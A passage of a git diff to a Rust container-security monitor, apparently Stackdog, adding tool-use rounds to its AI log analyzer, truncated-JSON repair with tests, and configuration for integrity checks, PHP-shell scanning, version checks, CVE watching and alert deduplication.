fn score(&self, sample: &SecurityFeatures) -> f64 { + self.score_array(&sample.as_vector()) + } + + /// Score a raw `[f64; 4]` feature vector. Higher scores are more anomalous. + pub fn score_array(&self, vector: &[f64; 4]) -> f64 { if self.trees.is_empty() || self.sample_size <= 1 { return 0.0; } - let vector = sample.as_vector(); let average_path = self .trees .iter() - .map(|tree| path_length(&tree.root, &vector, 0)) + .map(|tree| path_length(&tree.root, vector, 0)) .sum::() / self.trees.len() as f64; diff --git a/src/sniff/analyzer.rs b/src/sniff/analyzer.rs index 26a720f..4dc9f60 100644 --- a/src/sniff/analyzer.rs +++ b/src/sniff/analyzer.rs @@ -11,6 +11,7 @@ use serde::{Deserialize, Serialize}; use std::collections::HashSet; use crate::sniff::reader::LogEntry; +use crate::tools::ToolRegistry; const MAX_PROMPT_LINES: usize = 200; const MAX_PROMPT_CHARS: usize = 16_000; @@ -36,10 +37,18 @@ pub struct LogAnomaly { pub description: String, pub severity: AnomalySeverity, pub sample_line: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub detector_id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub detector_family: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub confidence: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub suggested_action: Option, } /// Severity of a detected anomaly -#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub enum AnomalySeverity { Low, Medium, @@ -59,10 +68,22 @@ impl std::fmt::Display for AnomalySeverity { } /// Trait for AI-powered log analysis +// async-trait expands to #[must_use] fns returning Result; newer clippy +// flags that Result already implies must_use. +#[allow(clippy::double_must_use)] #[async_trait] pub trait LogAnalyzer: Send + Sync { /// Summarize a batch of log entries async fn summarize(&self, entries: &[LogEntry]) -> Result; + + /// Summarize with tool-use support (falls back to summarize by default) + async fn summarize_with_tools( + &self, + entries: &[LogEntry], + _tools: &ToolRegistry, + ) -> Result { + self.summarize(entries).await + } } /// OpenAI-compatible API backend (works with OpenAI, Ollama, vLLM, etc.) @@ -70,6 +91,7 @@ pub struct OpenAiAnalyzer { api_url: String, api_key: Option, model: String, + max_tokens: u32, client: reqwest::Client, } @@ -85,12 +107,32 @@ impl OpenAiAnalyzer { } } - pub fn new(api_url: String, api_key: Option, model: String) -> Self { + pub fn new( + api_url: String, + api_key: Option, + model: String, + timeout_secs: u64, + max_tokens: u32, + ) -> Self { + let mut builder = reqwest::Client::builder(); + if timeout_secs > 0 { + builder = builder.timeout(std::time::Duration::from_secs(timeout_secs)); + } + let client = builder.build().unwrap_or_else(|err| { + log::warn!( + "Failed to build HTTP client with {}s timeout ({}), falling back to default", + timeout_secs, + err + ); + reqwest::Client::new() + }); + Self { api_url, api_key, model, - client: reqwest::Client::new(), + max_tokens, + client, } } @@ -237,6 +279,7 @@ struct LlmAnomaly { description: Option, severity: Option, sample_line: Option, + suggested_action: Option, } /// OpenAI chat completion response @@ -248,12 +291,34 @@ struct ChatCompletionResponse { #[derive(Debug, Deserialize)] struct ChatChoice { message: ChatMessage, + #[serde(default)] + finish_reason: Option, } #[derive(Debug, Deserialize, Serialize)] struct ChatMessage { role: String, - content: String, + #[serde(skip_serializing_if = "Option::is_none")] + content: Option, + #[serde(skip_serializing_if = "Option::is_none")] + tool_calls: Option>, + #[serde(skip_serializing_if = "Option::is_none")] + tool_call_id: Option, +} + +/// Tool call as returned by the AI in a response +#[derive(Debug, Clone, Deserialize, Serialize)] +struct ToolCallDelta { + id: String, + #[serde(rename = "type")] + call_type: String, + function: FunctionCallDelta, +} + +#[derive(Debug, Clone, Deserialize, Serialize)] +struct FunctionCallDelta { + name: String, + arguments: String, } /// Extract JSON from LLM response, handling markdown fences, preamble text, etc. @@ -288,6 +353,87 @@ fn extract_json(content: &str) -> &str { trimmed } +/// Attempt to repair truncated JSON by closing open braces/brackets and +/// trimming incomplete trailing string values. Returns `None` if the +/// input doesn't look like JSON at all. +fn repair_truncated_json(raw: &str) -> Option { + let trimmed = raw.trim(); + let start = trimmed.find('{')?; + let json = &trimmed[start..]; + + // Already valid — nothing to repair. + if serde_json::from_str::(json).is_ok() { + return None; + } + + // Count unmatched openers to decide how many closers we need. + let mut depth: i32 = 0; // braces + let mut bracket_depth: i32 = 0; + let mut in_string = false; + let mut escape = false; + + for ch in json.chars() { + if escape { + escape = false; + continue; + } + if ch == '\\' && in_string { + escape = true; + continue; + } + if ch == '"' { + in_string = !in_string; + continue; + } + if in_string { + continue; + } + match ch { + '{' => depth += 1, + '}' => depth -= 1, + '[' => bracket_depth += 1, + ']' => bracket_depth -= 1, + _ => {} + } + } + + // If we're inside a string when we ran out of input, close it first. + let mut repair = String::from(json); + if in_string { + repair.push('"'); + } + + // Close any incomplete array entries with a trailing `]` if needed. + // (We don't try to be perfect — just enough for serde to parse the + // fields that *were* fully written.) + for _ in 0..bracket_depth.max(0) { + repair.push(']'); + } + for _ in 0..depth.max(0) { + repair.push('}'); + } + + // If the last meaningful token before our closers is a trailing comma + // or colon, strip it — serde will reject `{"a":}` or `{"a":1,}`. + // We do a simple scan from the end ignoring the closers we just added. + let closers_len = + (bracket_depth.max(0) as usize) + (depth.max(0) as usize) + if in_string { 1 } else { 0 }; + let body_end = repair.len() - closers_len; + let body = &repair[..body_end]; + let trimmed_body = body.trim_end(); + if trimmed_body.ends_with(',') || trimmed_body.ends_with(':') { + let new_body = &trimmed_body[..trimmed_body.len() - 1]; + repair = format!("{}{}", new_body.trim_end(), &repair[body_end..]); + } + + // Only return the repair if it actually parses. + if serde_json::from_str::(&repair).is_ok() { + Some(repair) + } else { + None + } +} + /// Parse LLM severity string to enum fn parse_severity(s: &str) -> AnomalySeverity { match s.to_lowercase().as_str() { @@ -307,10 +453,28 @@ fn parse_llm_response(source_id: &str, entries: &[LogEntry], raw_json: &str) -> ); log::trace!("Raw LLM response:\n{}", raw_json); - let analysis: LlmAnalysis = serde_json::from_str(raw_json).context(format!( - "Failed to parse LLM response as JSON. Response starts with: {}", - &raw_json[..raw_json.len().min(200)] - ))?; + let analysis: LlmAnalysis = match serde_json::from_str(raw_json) { + Ok(a) => a, + Err(e) => { + // Try to repair truncated JSON before giving up. + if let Some(repaired) = repair_truncated_json(raw_json) { + log::warn!( + "LLM response was truncated ({}); repaired to {} bytes", + e, + repaired.len() + ); + serde_json::from_str(&repaired).context(format!( + "Failed to parse repaired LLM response. Original starts with: {}", + &raw_json[..raw_json.len().min(200)] + ))? + } else { + return Err(e).context(format!( + "Failed to parse LLM response as JSON. Response starts with: {}", + &raw_json[..raw_json.len().min(200)] + )); + } + } + }; log::debug!( "LLM analysis parsed — summary: {:?}, errors: {:?}, warnings: {:?}, anomalies: {}", @@ -328,6 +492,10 @@ fn parse_llm_response(source_id: &str, entries: &[LogEntry], raw_json: &str) -> description: a.description.unwrap_or_default(), severity: parse_severity(&a.severity.unwrap_or_default()), sample_line: a.sample_line.unwrap_or_default(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: a.suggested_action, }) .collect(); @@ -367,9 +535,12 @@ fn entry_time_range(entries: &[LogEntry]) -> (DateTime, DateTime) { (start, end) } +const MAX_TOOL_ROUNDS: usize = 5; + #[async_trait] impl LogAnalyzer for OpenAiAnalyzer { async fn summarize(&self, entries: &[LogEntry]) -> Result { + // ... existing implementation (unchanged) ... if entries.is_empty() { log::debug!("OpenAiAnalyzer: no entries to analyze, returning empty summary"); return Ok(LogSummary { @@ -402,14 +573,19 @@ impl LogAnalyzer for OpenAiAnalyzer { "messages": [ { "role": "system", - "content": "You are a log analysis assistant. Analyze logs and return structured JSON." + "content": "You are a log analysis assistant. Analyze logs and return structured JSON. Be concise — limit summary to 1-2 sentences, max 5 key events, max 5 anomalies.\n\n\ + When you detect an attack with an identifiable source IP, include a \"suggested_action\" field in the anomaly with a CLI command the operator can run to mitigate it. Examples:\n\ + - \"stackdog ban-ip 167.233.9.19 --duration 30m --reason 'credential scanning'\"\n\ + - \"stackdog firewall add --public-ports 8080/tcp\"\n\ + Only include suggested_action when there is a clear, actionable mitigation." }, { "role": "user", "content": prompt } ], - "temperature": 0.1 + "temperature": 0.1, + "max_tokens": self.max_tokens }); let url = format!("{}/chat/completions", self.api_url.trim_end_matches('/')); @@ -459,7 +635,7 @@ impl LogAnalyzer for OpenAiAnalyzer { let content = completion .choices .first() - .map(|c| c.message.content.clone()) + .and_then(|c| c.message.content.clone()) .unwrap_or_default(); log::debug!( @@ -474,6 +650,143 @@ impl LogAnalyzer for OpenAiAnalyzer { parse_llm_response(source_id, entries, json_str) } + + async fn summarize_with_tools( + &self, + entries: &[LogEntry], + tools: &ToolRegistry, + ) -> Result { + if entries.is_empty() { + return self.summarize(entries).await; + } + + let prompt = Self::build_prompt(entries); + let source_id = entries[0].source_id.clone(); + + let system_msg = serde_json::json!({ + "role": "system", + "content": "You are a log analysis assistant. Analyze logs and return structured JSON. Be concise — limit summary to 1-2 sentences, max 5 key events, max 5 anomalies.\n\n\ + When you detect an attack with an identifiable source IP, include a \"suggested_action\" field in the anomaly with a CLI command the operator can run to mitigate it. Examples:\n\ + - \"stackdog ban-ip 167.233.9.19 --duration 30m --reason 'credential scanning'\"\n\ + - \"stackdog firewall add --public-ports 8080/tcp\"\n\ + Only include suggested_action when there is a clear, actionable mitigation.\n\n\ + You have access to tools. Use them to gather context before making decisions — check if an IP is already banned, inspect container posture, or run detectors on suspicious lines." + }); + + let user_msg = serde_json::json!({ + "role": "user", + "content": prompt + }); + + let tool_defs = tools.definitions(); + let mut messages: Vec = vec![system_msg, user_msg]; + + let url = format!("{}/chat/completions", self.api_url.trim_end_matches('/')); + + for round in 0..MAX_TOOL_ROUNDS { + log::debug!("Tool-use round {}/{}", round + 1, MAX_TOOL_ROUNDS); + + let request_body = serde_json::json!({ + "model": self.model, + "messages": messages, + "tools": tool_defs, + "tool_choice": "auto", + "temperature": 0.1, + "max_tokens": self.max_tokens + }); + + let mut req = self + .client + .post(&url) + .header("Content-Type", "application/json"); + + if let Some(ref key) = self.api_key { + req = req.header("Authorization", format!("Bearer {}", key)); + } + + let response = req + .json(&request_body) + .send() + .await + .context("Failed to send request to AI API")?; + + let status = response.status(); + if !status.is_success() { + let body = response.text().await.unwrap_or_default(); + anyhow::bail!("AI API returned status {}: {}", status, body); + } + + let raw_body = response + .text() + .await + .context("Failed to read AI API response body")?; + + let completion: ChatCompletionResponse = + serde_json::from_str(&raw_body).context("Failed to parse AI API response")?; + + let choice = match completion.choices.into_iter().next() { + Some(c) => c, + None => anyhow::bail!("AI API returned no choices"), + }; + + // If the AI wants to call tools + if choice.finish_reason.as_deref() == Some("tool_calls") { + if let Some(tool_calls) = &choice.message.tool_calls { + // Append the assistant message with tool_calls + messages.push(serde_json::json!({ + "role": "assistant", + "tool_calls": tool_calls.iter().map(|tc| { + serde_json::json!({ + "id": tc.id, + "type": "function", + "function": { + "name": tc.function.name, + "arguments": tc.function.arguments + } + }) + }).collect::>() + })); + + // Execute each tool and append results + for tc in tool_calls { + let call = crate::tools::types::ToolCall { + id: tc.id.clone(), + call_type: "function".into(), + function: crate::tools::types::FunctionCall { + name: tc.function.name.clone(), + arguments: tc.function.arguments.clone(), + }, + }; + let result = tools.execute(&call).await; + log::debug!( + "Tool {} returned {} chars", + tc.function.name, + result.content.len() + ); + messages.push(serde_json::json!({ + "role": "tool", + "tool_call_id": result.tool_call_id, + "content": result.content + })); + } + continue; // next round + } + } + + // Final response — parse as LogSummary + let content = choice.message.content.unwrap_or_default(); + log::debug!( + "Tool-use final response ({} chars): {}", + content.len(), + &content[..content.len().min(200)] + ); + + let json_str = extract_json(&content); + return parse_llm_response(&source_id, entries, json_str); + } + + anyhow::bail!("AI exceeded max tool-call rounds ({})", MAX_TOOL_ROUNDS) + } } /// Fallback local analyzer that uses pattern matching (no AI required) @@ -554,6 +867,10 @@ impl LogAnalyzer for PatternAnalyzer { ), severity: AnomalySeverity::High, sample_line: sample.line.clone(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: None, }); } } @@ -832,8 +1149,13 @@ mod tests { #[test] fn test_openai_analyzer_new() { - let analyzer = - OpenAiAnalyzer::new("http://localhost:11434/v1".into(), None, "llama3".into()); + let analyzer = OpenAiAnalyzer::new( + "http://localhost:11434/v1".into(), + None, + "llama3".into(), + 300, + 2048, + ); assert_eq!(analyzer.api_url, "http://localhost:11434/v1"); assert!(analyzer.api_key.is_none()); assert_eq!(analyzer.model, "llama3"); @@ -841,8 +1163,13 @@ mod tests { #[tokio::test] async fn test_openai_analyzer_empty_entries() { - let analyzer = - OpenAiAnalyzer::new("http://localhost:11434/v1".into(), None, "llama3".into()); + let analyzer = OpenAiAnalyzer::new( + "http://localhost:11434/v1".into(), + None, + "llama3".into(), + 300, + 2048, + ); let summary = analyzer.summarize(&[]).await.unwrap(); assert_eq!(summary.total_entries, 0); } @@ -862,6 +1189,10 @@ mod tests { description: "Test anomaly".into(), severity: AnomalySeverity::Medium, sample_line: "WARN: something".into(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: None, }], }; let json = serde_json::to_string(&summary).unwrap(); @@ -869,4 +1200,52 @@ mod tests { assert_eq!(deserialized.total_entries, 10); assert_eq!(deserialized.anomalies[0].severity, AnomalySeverity::Medium); } + + #[test] + fn test_repair_truncated_json_basic() { + // Simulates a truncated LLM response — missing closing braces + let truncated = r#"{"summary": "Multiple errors detected", "error_count": 42"#; + let repaired = repair_truncated_json(truncated).unwrap(); + let parsed: serde_json::Value = serde_json::from_str(&repaired).unwrap(); + assert_eq!(parsed["summary"], "Multiple errors detected"); + assert_eq!(parsed["error_count"], 42); + } + + #[test] + fn test_repair_truncated_json_with_trailing_comma() { + let truncated = r#"{"summary": "Test", "error_count": 5, "#; + let repaired = repair_truncated_json(truncated).unwrap(); + let parsed: serde_json::Value = serde_json::from_str(&repaired).unwrap(); + assert_eq!(parsed["summary"], "Test"); + assert_eq!(parsed["error_count"], 5); + } + + #[test] + fn test_repair_truncated_json_mid_string() { + let truncated = r#"{"summary": "Multiple failed connection at"#; + let repaired = repair_truncated_json(truncated).unwrap(); + let parsed: serde_json::Value = serde_json::from_str(&repaired).unwrap(); + // The string value will be truncated but still parseable + assert!(parsed["summary"].as_str().unwrap().starts_with("Multiple")); + } + + #[test] + fn test_repair_truncated_json_with_nested_array() { + let truncated = r#"{"summary": "Test", "key_events": ["event1", "event2"#; + let repaired = repair_truncated_json(truncated).unwrap(); + let parsed: serde_json::Value = serde_json::from_str(&repaired).unwrap(); + assert_eq!(parsed["key_events"][0], "event1"); + assert_eq!(parsed["key_events"][1], "event2"); + } + + #[test] + fn test_repair_truncated_json_already_valid() { + let valid = r#"{"summary": "OK", "error_count": 0}"#; + assert!(repair_truncated_json(valid).is_none()); + } + + #[test] + fn test_repair_truncated_json_not_json() { + assert!(repair_truncated_json("this is not json at all").is_none()); + } } diff --git a/src/sniff/config.rs b/src/sniff/config.rs index cee76bf..c7ff461 100644 --- a/src/sniff/config.rs +++ b/src/sniff/config.rs @@ -3,6 +3,21 @@ use std::env; use std::path::PathBuf; +use crate::detectors::php_shell::{ + PhpShellOptions, DEFAULT_CONTAINER_PATTERNS, DEFAULT_MAX_FILE_BYTES, DEFAULT_SKIP_DIRS, +}; + +/// Default AI request timeout. Generous because local models on modest +/// hardware can take minutes per completion, but bounded so a wedged +/// inference host cannot stall the sniff loop indefinitely. +const DEFAULT_AI_TIMEOUT_SECS: u64 = 300; +const DEFAULT_AI_MAX_TOKENS: u32 = 2048; + +/// Default window for suppressing repeats of the same finding. Six hours, +/// because standing misconfigurations (unauthenticated Redis, world-readable +/// config) are re-detected on every pass and would otherwise alert all day. +const DEFAULT_ALERT_DEDUP_WINDOW_SECS: u64 = 6 * 60 * 60; + /// AI provider selection #[derive(Debug, Clone, PartialEq)] pub enum AiProvider { @@ -36,8 +51,16 @@ pub struct SniffConfig { pub output_dir: PathBuf, /// Additional log source paths (user-configured) pub extra_sources: Vec, + /// Explicit file or directory paths to monitor for integrity drift + pub integrity_paths: Vec, + /// Explicit config files to audit for insecure settings + pub config_assessment_paths: Vec, + /// Explicit package inventory files to audit for legacy versions + pub package_inventory_paths: Vec, /// Poll interval in seconds pub interval_secs: u64, + /// How long the same finding stays suppressed before alerting again + pub alert_dedup_window_secs: u64, /// AI provider to use for summarization pub ai_provider: AiProvider, /// AI API URL (for OpenAI-compatible providers) @@ -46,6 +69,10 @@ pub struct SniffConfig { pub ai_api_key: Option, /// AI model name pub ai_model: String, + /// Request timeout in seconds for AI API calls (0 disables the timeout) + pub ai_timeout_secs: u64, + /// Max tokens for AI API response (0 lets the provider decide) + pub ai_max_tokens: u32, /// Database URL pub database_url: String, /// Slack webhook URL for alert notifications @@ -62,6 +89,27 @@ pub struct SniffConfig { pub smtp_password: Option, /// Email recipients for alert notifications pub email_recipients: Vec, + /// Container names to skip during posture checks (trusted services) + pub trusted_containers: Vec, + /// Enable AI tool-use (function calling) during analysis + pub ai_tools_enabled: bool, + /// Scan web roots for PHP shells + pub phpshell_enabled: bool, + /// Flag PHP builds older than the PHP2Shell fixes, on the host and in containers + pub php_version_check_enabled: bool, + /// Flag OpenSSH builds older than the SSHole fix on musl systems, and ban + /// password logins to key-only accounts + pub sshole_enabled: bool, + /// Match the package inventory against public CVE feeds (OSV + KEV) + pub cve_watch_enabled: bool, + /// Host directories to scan for PHP shells + pub phpshell_paths: Vec, + /// Container name/image fragments that mark a PHP workload + pub phpshell_container_patterns: Vec, + /// Where the host filesystem is mounted when Stackdog runs in a container + pub host_root: Option, + /// File size cap, skipped directories and extra signatures for the scanner + pub phpshell_options: PhpShellOptions, } /// Arguments for building a SniffConfig @@ -84,6 +132,32 @@ pub struct SniffArgs<'a> { } impl SniffConfig { + /// Build a continuous sniff config for the `stackdog serve` background worker. + /// + /// Serve mode defaults to the local pattern analyzer so log monitoring and + /// IP bans still work even when no external AI backend is configured. + pub fn background_service() -> Self { + let ai_provider = env::var("STACKDOG_AI_PROVIDER").unwrap_or_else(|_| "candle".into()); + + Self::from_env_and_args(SniffArgs { + once: false, + consume: false, + output: "./stackdog-logs/", + sources: None, + interval: 30, + ai_provider: Some(ai_provider.as_str()), + ai_model: None, + ai_api_url: None, + slack_webhook: None, + webhook_url: None, + smtp_host: None, + smtp_port: None, + smtp_user: None, + smtp_password: None, + email_recipients: None, + }) + } + /// Build config from environment variables, overridden by CLI args pub fn from_env_and_args(args: SniffArgs<'_>) -> Self { let env_sources = env::var("STACKDOG_LOG_SOURCES").unwrap_or_default(); @@ -102,6 +176,25 @@ impl SniffConfig { } } + let integrity_paths = env::var("STACKDOG_FIM_PATHS") + .unwrap_or_default() + .split(',') + .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) + .collect(); + let config_assessment_paths = env::var("STACKDOG_SCA_PATHS") + .unwrap_or_default() + .split(',') + .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) + .collect(); + let package_inventory_paths = env::var("STACKDOG_PACKAGE_INVENTORY_PATHS") + .unwrap_or_default() + .split(',') + .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) + .collect(); + let ai_provider_str = args.ai_provider.map(|s| s.to_string()).unwrap_or_else(|| { env::var("STACKDOG_AI_PROVIDER").unwrap_or_else(|_| "openai".into()) }); @@ -128,7 +221,14 @@ impl SniffConfig { consume: args.consume, output_dir, extra_sources, + integrity_paths, + config_assessment_paths, + package_inventory_paths, interval_secs, + alert_dedup_window_secs: env::var("STACKDOG_ALERT_DEDUP_WINDOW_SECS") + .ok() + .and_then(|v| v.parse().ok()) + .unwrap_or(DEFAULT_ALERT_DEDUP_WINDOW_SECS), ai_provider: ai_provider_str.parse().unwrap(), ai_api_url: args .ai_api_url @@ -141,6 +241,14 @@ impl SniffConfig { .map(|s| s.to_string()) .or_else(|| env::var("STACKDOG_AI_MODEL").ok()) .unwrap_or_else(|| "llama3".into()), + ai_timeout_secs: env::var("STACKDOG_AI_TIMEOUT_SECS") + .ok() + .and_then(|v| v.parse().ok()) + .unwrap_or(DEFAULT_AI_TIMEOUT_SECS), + ai_max_tokens: env::var("STACKDOG_AI_MAX_TOKENS") + .ok() + .and_then(|v| v.parse().ok()) + .unwrap_or(DEFAULT_AI_MAX_TOKENS), database_url: env::var("DATABASE_URL").unwrap_or_else(|_| "./stackdog.db".into()), slack_webhook: args .slack_webhook @@ -179,10 +287,98 @@ impl SniffConfig { .collect() }) .unwrap_or_default(), + trusted_containers: env::var("STACKDOG_TRUSTED_CONTAINERS") + .unwrap_or_default() + .split(',') + .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) + .collect(), + ai_tools_enabled: env::var("STACKDOG_AI_TOOLS_ENABLED") + .ok() + .and_then(|v| match v.trim().to_ascii_lowercase().as_str() { + "1" | "true" | "yes" | "on" => Some(true), + "0" | "false" | "no" | "off" => Some(false), + _ => None, + }) + .unwrap_or(true), + phpshell_enabled: env::var("STACKDOG_PHPSHELL_ENABLED") + .ok() + .and_then(|v| match v.trim().to_ascii_lowercase().as_str() { + "1" | "true" | "yes" | "on" => Some(true), + "0" | "false" | "no" | "off" => Some(false), + _ => None, + }) + .unwrap_or(true), + php_version_check_enabled: env::var("STACKDOG_PHP_VERSION_CHECK_ENABLED") + .ok() + .and_then(|v| match v.trim().to_ascii_lowercase().as_str() { + "1" | "true" | "yes" | "on" => Some(true), + "0" | "false" | "no" | "off" => Some(false), + _ => None, + }) + .unwrap_or(true), + sshole_enabled: env::var("STACKDOG_SSHOLE_ENABLED") + .ok() + .and_then(|v| match v.trim().to_ascii_lowercase().as_str() { + "1" | "true" | "yes" | "on" => Some(true), + "0" | "false" | "no" | "off" => Some(false), + _ => None, + }) + .unwrap_or(true), + cve_watch_enabled: env::var("STACKDOG_CVE_WATCH_ENABLED") + .ok() + .and_then(|v| match v.trim().to_ascii_lowercase().as_str() { + "1" | "true" | "yes" | "on" => Some(true), + "0" | "false" | "no" | "off" => Some(false), + _ => None, + }) + .unwrap_or(true), + phpshell_paths: env_list("STACKDOG_PHPSHELL_PATHS").unwrap_or_default(), + phpshell_container_patterns: env_list("STACKDOG_PHPSHELL_CONTAINERS") + .map(|patterns| { + patterns + .into_iter() + .map(|p| p.to_ascii_lowercase()) + .collect() + }) + .unwrap_or_else(|| { + DEFAULT_CONTAINER_PATTERNS + .iter() + .map(|p| p.to_string()) + .collect() + }), + host_root: env::var("STACKDOG_HOST_ROOT") + .ok() + .map(|v| v.trim().to_string()) + .filter(|v| !v.is_empty()), + phpshell_options: PhpShellOptions { + max_file_bytes: env::var("STACKDOG_PHPSHELL_MAX_FILE_BYTES") + .ok() + .and_then(|v| v.parse().ok()) + .unwrap_or(DEFAULT_MAX_FILE_BYTES), + skip_dirs: env_list("STACKDOG_PHPSHELL_SKIP_DIRS") + .unwrap_or_else(|| DEFAULT_SKIP_DIRS.iter().map(|d| d.to_string()).collect()), + signatures_path: env::var("STACKDOG_PHPSHELL_SIGNATURES") + .ok() + .map(|v| v.trim().to_string()) + .filter(|v| !v.is_empty()), + }, } } } +/// A comma-separated variable, `None` when unset so callers can tell "unset" +/// (use the defaults) from "set to nothing". +fn env_list(name: &str) -> Option> { + env::var(name).ok().map(|value| { + value + .split(',') + .map(|item| item.trim().to_string()) + .filter(|item| !item.is_empty()) + .collect() + }) +} + #[cfg(test)] mod tests { use super::*; @@ -193,10 +389,15 @@ mod tests { fn clear_sniff_env() { env::remove_var("STACKDOG_LOG_SOURCES"); + env::remove_var("STACKDOG_FIM_PATHS"); + env::remove_var("STACKDOG_SCA_PATHS"); + env::remove_var("STACKDOG_PACKAGE_INVENTORY_PATHS"); env::remove_var("STACKDOG_AI_PROVIDER"); env::remove_var("STACKDOG_AI_API_URL"); env::remove_var("STACKDOG_AI_API_KEY"); env::remove_var("STACKDOG_AI_MODEL"); + env::remove_var("STACKDOG_AI_TIMEOUT_SECS"); + env::remove_var("STACKDOG_AI_MAX_TOKENS"); env::remove_var("STACKDOG_SNIFF_OUTPUT_DIR"); env::remove_var("STACKDOG_SNIFF_INTERVAL"); env::remove_var("STACKDOG_SLACK_WEBHOOK_URL"); @@ -206,6 +407,49 @@ mod tests { env::remove_var("STACKDOG_SMTP_USER"); env::remove_var("STACKDOG_SMTP_PASSWORD"); env::remove_var("STACKDOG_EMAIL_RECIPIENTS"); + env::remove_var("STACKDOG_TRUSTED_CONTAINERS"); + env::remove_var("STACKDOG_ALERT_DEDUP_WINDOW_SECS"); + } + + fn default_args() -> SniffArgs<'static> { + SniffArgs { + once: false, + consume: false, + output: "./stackdog-logs/", + sources: None, + interval: 30, + ai_provider: None, + ai_model: None, + ai_api_url: None, + slack_webhook: None, + webhook_url: None, + smtp_host: None, + smtp_port: None, + smtp_user: None, + smtp_password: None, + email_recipients: None, + } + } + + #[test] + fn test_alert_dedup_window_defaults_to_six_hours() { + let _lock = ENV_MUTEX.lock().unwrap(); + clear_sniff_env(); + + let config = SniffConfig::from_env_and_args(default_args()); + assert_eq!(config.alert_dedup_window_secs, 21_600); + } + + #[test] + fn test_alert_dedup_window_read_from_env() { + let _lock = ENV_MUTEX.lock().unwrap(); + clear_sniff_env(); + env::set_var("STACKDOG_ALERT_DEDUP_WINDOW_SECS", "900"); + + let config = SniffConfig::from_env_and_args(default_args()); + assert_eq!(config.alert_dedup_window_secs, 900); + + clear_sniff_env(); } #[test] @@ -243,6 +487,9 @@ mod tests { assert!(!config.consume); assert_eq!(config.output_dir, PathBuf::from("./stackdog-logs/")); assert!(config.extra_sources.is_empty()); + assert!(config.integrity_paths.is_empty()); + assert!(config.config_assessment_paths.is_empty()); + assert!(config.package_inventory_paths.is_empty()); assert_eq!(config.interval_secs, 30); assert_eq!(config.ai_provider, AiProvider::OpenAi); assert_eq!(config.ai_api_url, "http://localhost:11434/v1"); @@ -250,6 +497,28 @@ mod tests { assert_eq!(config.ai_model, "llama3"); } + #[test] + fn test_background_service_defaults_to_pattern_analyzer() { + let _lock = ENV_MUTEX.lock().unwrap(); + clear_sniff_env(); + + let config = SniffConfig::background_service(); + assert!(!config.once); + assert!(!config.consume); + assert_eq!(config.interval_secs, 30); + assert_eq!(config.ai_provider, AiProvider::Candle); + } + + #[test] + fn test_background_service_respects_env_ai_provider() { + let _lock = ENV_MUTEX.lock().unwrap(); + clear_sniff_env(); + env::set_var("STACKDOG_AI_PROVIDER", "openai"); + + let config = SniffConfig::background_service(); + assert_eq!(config.ai_provider, AiProvider::OpenAi); + } + #[test] fn test_sniff_config_cli_overrides() { let _lock = ENV_MUTEX.lock().unwrap(); @@ -319,6 +588,84 @@ mod tests { clear_sniff_env(); } + #[test] + fn test_sniff_config_fim_paths_from_env() { + let _lock = ENV_MUTEX.lock().unwrap(); + clear_sniff_env(); + env::set_var("STACKDOG_FIM_PATHS", "/etc/ssh/sshd_config, /app/.env"); + + let config = SniffConfig::from_env_and_args(SniffArgs { + once: false, + consume: false, + output: "./stackdog-logs/", + sources: None, + interval: 30, + ai_provider: None, + ai_model: None, + ai_api_url: None, + slack_webhook: None, + webhook_url: None, + smtp_host: None, + smtp_port: None, + smtp_user: None, + smtp_password: None, + email_recipients: None, + }); + + assert_eq!( + config.integrity_paths, + vec!["/etc/ssh/sshd_config".to_string(), "/app/.env".to_string()] + ); + + clear_sniff_env(); + } + + #[test] + fn test_sniff_config_audit_paths_from_env() { + let _lock = ENV_MUTEX.lock().unwrap(); + clear_sniff_env(); + env::set_var("STACKDOG_SCA_PATHS", "/etc/ssh/sshd_config,/etc/sudoers"); + env::set_var( + "STACKDOG_PACKAGE_INVENTORY_PATHS", + "/var/lib/dpkg/status,/lib/apk/db/installed", + ); + + let config = SniffConfig::from_env_and_args(SniffArgs { + once: false, + consume: false, + output: "./stackdog-logs/", + sources: None, + interval: 30, + ai_provider: None, + ai_model: None, + ai_api_url: None, + slack_webhook: None, + webhook_url: None, + smtp_host: None, + smtp_port: None, + smtp_user: None, + smtp_password: None, + email_recipients: None, + }); + + assert_eq!( + config.config_assessment_paths, + vec![ + "/etc/ssh/sshd_config".to_string(), + "/etc/sudoers".to_string() + ] + ); + assert_eq!( + config.package_inventory_paths, + vec![ + "/var/lib/dpkg/status".to_string(), + "/lib/apk/db/installed".to_string() + ] + ); + + clear_sniff_env(); + } + #[test] fn test_sniff_config_env_overrides_defaults() { let _lock = ENV_MUTEX.lock().unwrap(); diff --git a/src/sniff/discovery.rs b/src/sniff/discovery.rs index e2bc4c4..c35261c 100644 --- a/src/sniff/discovery.rs +++ b/src/sniff/discovery.rs @@ -122,7 +122,92 @@ pub fn discover_custom_sources(paths: &[String]) -> Vec { .collect() } +/// Label that marks a container as one Stackdog should not read logs from. +/// +/// Declaring it in docker-compose is more reliable than inferring our own ID +/// from `/proc`, since it survives any cgroup layout, network mode, or runtime: +/// +/// ```yaml +/// labels: +/// com.trydirect.stackdog.ignore: "true" +/// ``` +pub const IGNORE_LABEL: &str = "com.trydirect.stackdog.ignore"; + +/// Whether a container's labels ask Stackdog to skip it. +fn is_ignored_by_label(labels: &std::collections::HashMap) -> bool { + labels + .get(IGNORE_LABEL) + .map(|value| { + matches!( + value.trim().to_ascii_lowercase().as_str(), + "1" | "true" | "yes" | "on" + ) + }) + .unwrap_or(false) +} + +/// Extract a 64-hex container ID from a /proc line, if one is present. +fn extract_container_id(line: &str) -> Option { + line.split(|ch: char| !ch.is_ascii_hexdigit()) + .find(|token| token.len() == 64) + .map(str::to_string) +} + +/// Pull our container ID out of /proc/self/mountinfo contents. +/// +/// Lines mentioning `/containers/` are preferred: Docker bind-mounts +/// `/var/lib/docker/containers//resolv.conf` and friends, so those carry the +/// real container ID. Plain 64-hex tokens elsewhere in the file can be overlay +/// layer hashes, which would be the wrong 